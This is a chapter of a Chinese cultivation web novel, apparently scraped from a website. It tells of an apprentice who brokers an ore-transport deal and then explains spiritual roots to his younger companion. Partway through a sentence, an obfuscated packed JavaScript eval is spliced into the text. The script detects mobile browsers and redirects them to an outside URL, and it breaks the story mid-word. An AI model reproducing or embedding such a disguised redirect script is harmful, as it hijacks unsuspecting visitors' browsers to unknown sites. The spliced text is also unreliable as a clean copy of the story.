他先前巴结这小子,纯粹是想放长线。这小子年纪尚小,虽然未来可期,但谁也说不准将来怎么样,只是当一条线先占着。运送矿料这事,也是当闲话聊了几句,不想就成了,接了对牌他都懵了,这好事怎么就落在了他头上? “先不要谢我,这次运送的事只是巧合,鲁大师前些日子跟运料队的人闹了点矛盾,那边想晾一晾他,如今你接了这活,那群人可能会去找你的麻烦。”柏汉长如今已经完全褪去了稚气,身高又猛增了一头,样貌也逐渐趋向成人,尤其在他板下脸说话时。 “这……”一听说运料队会找自己麻烦,袁育杰心里开始打退堂鼓,他身上那点拳脚功夫,糊弄不懂行的人还行,运料队那可是实打实的练家子。 “现在退对牌,还来得及。”柏汉长要笑不笑的看着对面,声音淡然。 袁育杰确实有这个想法,同时又有点懊恼,既然有这种弯弯绕,干吗不早告诉他?如今对牌都接了,那鲁大师又是出了名的犟种,一旦退了对牌,往后炼器坊的活,他再想沾边可就难了,“小老弟,你不会还在嫉恨当年打架的事吧?” 眼瞅着袁育杰一脸灰心丧气,柏汉长也没急着说话,直等他叽里呱啦发泄一通后,才冲对方勾了勾手。 袁育杰也实在不知道该怎么善后,梗着脖子凑上前。 半盏茶的工夫后,袁育杰坐回原位,很快又半站起身,疑惑不定地问道,“这是……鲁大师的意思?” “不然呢?你觉得这是我能想出来的?”柏汉长一脸不以为然。 “那……他为什么不直接找我岳丈?”既然他老丈人能解决这事,直接找他岂不更快? “炼器坊的掌炉大师,公然结交外门的账房相公,别人会怎么想?”不把这小子拉下水,袁老头那边谁出面去谈?鲁大师肯定不会出头,鲁大师以下的,袁老头又不可能理会,只能走袁育杰这层关系。 柏汉长之所以出面处理这事,主要是想保住鲁有功,这倔老头炼器技艺十分了得,也十分器重他这个小学徒,奈何为人处世不会拐弯,得罪了不少人,运料队这事明显是有人从中作梗,想拖延炼器坊的工期,让上面责罚。 袁育杰的老丈人虽然不是账房大相公,却在账房待的时间最久,上下关系肯定熟读于心,拉他进来就是为了让他当和事佬,铁剑门刚倒了一位内门长老,利益范围必然正在重新划分,这个袁老头若是聪明的话,应该不会错失这个机会——炼器坊这笔抽头,上面的人看不上,袁老头可未必不动心。 袁育杰恍然大悟,这小子说得在理,“行,小老弟,我再信你一回。”先前被银钱冲昏了脑子,这回可不敢再乱来,回去看老丈人怎么说再定。 淌了一身虚汗后,袁育杰的屁股终于坐到了凳子上,喝了好一大口茶后,忽然想到一件私事,“前日,我帮你送钱回去,遇到一件事,有人到育幼院打听你妹妹,那个蔡大妈领人在窗外偷看,我瞧着那些人贼眉鼠眼的,不像好人样,便呼喝了几句,把他们赶走了。我也是很多年没见过你妹妹了,确实生了个好模样,我瞧着——你还是趁早给她寻个正经人家,莫让人贪了便宜。” 柏汉长的捏着茶杯,半天未语。 *** 袁家接手运料一事的半年后,由袁氏夫妇出面,将柏东儿从育幼院接了出来。 应柏汉长的请求,头三个月先在袁宅下榻,三个月后才搬至他的住处。 搬家的时候,袁育杰的妻子也跟过来帮忙,看着巴掌大的房间,鼻子不禁有些泛酸,偷偷跟丈夫说,实在不行,还是让小丫头跟他们回去,怎么说人家也帮他们赚了一大笔钱,当回报多养个孩子也不打紧。 袁育杰也有些于心不忍,心说那桩买卖,这小子应该也有抽头,怎么会穷成这个样子? 于是私下偷偷问柏汉长是不是没拿到抽头,实在不行他这边匀一些给他也成,不想却被柏汉长告诫一番,让他低调行事,免得招灾惹祸。 这事后来传进了袁老头的耳里,思索半天后,老爷子拍了拍女婿的肩膀,让他今后多跟这柏姓小子套套近乎。 *** 柏东儿搬来炼器坊的第七天,她那位便宜哥哥终于回来了。 柏汉长提着一只半大的灰布包,刚推开篱笆门,就见一道细瘦身影从房后蹿出来,手里还掐着一根手臂粗的木棒。 “咦?怎么是你?”东儿一身男孩装扮,头顶还戴着一顶破毡帽,乍眼看真像哪个作坊里的小学徒。 他们俩已经快两年没见了,上次见面,还是柏汉长刚升大学徒时,“你……怎么越长越快!”上次见面时,两人相差不到一头,两年没见,已经差了一头多,这个身高差,万一掐架,她可是要吃亏的。 “冬瓜是长得慢些。”柏汉长打量一眼她手里的木棒,“有人欺负你?” 东儿微微撇嘴,因为他那句冬瓜,“附近一只野猫老来院子里捣乱,袁大嫂说这里离集市远,买东西不方便,送来几只下蛋鸡,结果没几天就被那家伙咬死一半。”刚才听到动静,还以为又是那只猫来捣乱。 “回头我做几个捕兽夹来,你先把这些收好。”柏汉长示意手上的包袱。 东儿以为包袱里装的是日用品,结果打开一看,除了几本书,剩下的全是拇指大的彩色石头…… “怎么?”见她一脸惊讶,柏汉长有些好奇。 “这个是给我的?”东儿试探着问道。 “嗯。”带回来的,自然是给她的。 东儿捏了一块墨绿色矿石,仔细端详了一会儿后,又放在鼻前嗅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16856542|191594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了嗅,脑子里突然有点火花闪过,“这——不会就是灵石吧?” 柏汉长微微摇头,“只是富含灵晶的矿料。” 见他盯着自己不放,东儿唇角一弯,坦然道,“我不会用。” 一抹了然之色在柏汉长瞳孔中一闪而逝,这丫头出生的世界,很大可能不是以修真或修仙为主,“这些只是灵石开采时附带的碎料,不能供用修士正常修行,普通人又无法激发其中的灵气,所以这里的人通常用它做炼器的燃料。”这也是他决定成为炼器学徒的主要原因。 东儿略一沉吟,想到了他当年非要去炼器坊的旧事,“你有办法把矿料提炼成灵石?” “目前还不行,只能做一些压缩、过滤和隔离。”从包袱里翻出一只木盒,打开盒子,里边是一堆奇形怪状的黑色金属零件。 东儿双手撑腮,看着他把一堆零件组装成一个“香炉”。 “从上面把矿石塞进去,关上滤嘴,旋转底座,把矿石压碎,直到底座能保持平衡为止。这个房间小,每日一小块,可以维持一定程度的灵气环境,对激发你的灵根有帮助。”柏汉长仔细交待着。 成为修仙者,是他们回到原来世界的唯一方法,两人老早就这事达成了共识,并制定了初步计划,这初步计划就是先进入铁剑门,争取拿到入场券。 “炼器坊既然用这些东西做燃料,那灵气环境岂不是更稳定?”东儿对所谓的修仙和修真完全没有认知,所以这些年一直都是跟着柏汉长的步子在走。 “草木活的时候能供人呼吸,但烧掉时却会令人窒息。”柏汉长找了一个她能听懂的方式,做了个简单的解释。 东儿听完很吃惊,心说修真、修仙的人也学生物和化学么?难不成科学的尽头真是玄学?心中虽有疑问,但有些话却不能随便说出口,特别是有关自己出生地的事,于是又改口问了另一个问题,“灵根是每个人都有么?” 柏汉长将一块矿石扔进“石榴”,旋转几下底座后,语气平淡的回道,“是人都有,只是有好坏之分。” 接下来他用了半个时辰,解释了所谓的灵根好坏。 总结来说,灵根的好坏就像上学时的成绩。 每门功课都有一个及格线,当所有功课都达到及格线,才有可能成为修仙者。 成为修行者之后,便是拼高分。 所谓天灵根,就是某一门功课先天满分。 说到这里,东儿好奇问了一句:“单种灵根满分就是天灵根,那两种和多种满分叫什么?” 得到的回答却是一个扬眉:“叫妖孽,而且是很难正常长大的妖孽,天灵根又称先天满灵根,不需要激发便能自动吸收灵气。想一想,一个多种天灵根组合的人,一出生就在疯狂摄取灵力。” 听到这儿,东儿直接哑火,这简直就是一颗不稳定的核弹,的确不容易存活,“那双灵根和异灵根呢?” 柏汉长眉头微蹙,“两种灵根资质达到先天八成,便是双灵根,三种以上达到八成的,非常稀少。”至少在他的修行岁月里没见过,“至于你说的异灵根,我没听过,指的什么?” “风啊,雷啊,电啊,那些。”东儿随口胡诌道。 柏汉长她看了一会儿,突然伸手弹了一下她的脑门,低道,“杂书看多了吧,你?”